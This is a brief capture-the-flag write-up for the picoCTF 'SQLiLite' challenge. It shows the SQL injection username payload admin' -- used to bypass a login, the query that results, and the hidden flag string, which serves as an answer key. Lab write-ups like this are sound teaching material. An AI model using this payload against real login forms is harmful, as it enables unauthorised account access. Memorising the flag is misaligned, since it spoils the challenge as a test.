

SQLiLite

Web Exploitation

Description:

Can you login to this website?

Additional details will be available after launching your challenge instance.

Can you login to this website?

Try to login [here](#).

Hints:

1) `admin` is the user you want to login as.

Solution:

```
← → ↺ saturn.picoctf.net:56713/login.php
username: admin' --
password: 1234
SQL query: SELECT * FROM users WHERE name='admin' -- ' AND password='1234'
```

Logged in! But can you see the flag, it is in plainsight.

- 1) We use simple sql injection to log in to this website.
- 2) We put in `admin' --` as the username and put anything as the password to enter.

```
#039; AND password=&#039;1234&#039;
ht.</h1><p hidden>Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_ec8a64c7}</p>
```

- 3) We find the flag in the source files.

Flag:

picoCTF{L00k5_l1k3_y0u_solv3d_it_ec8a64c7}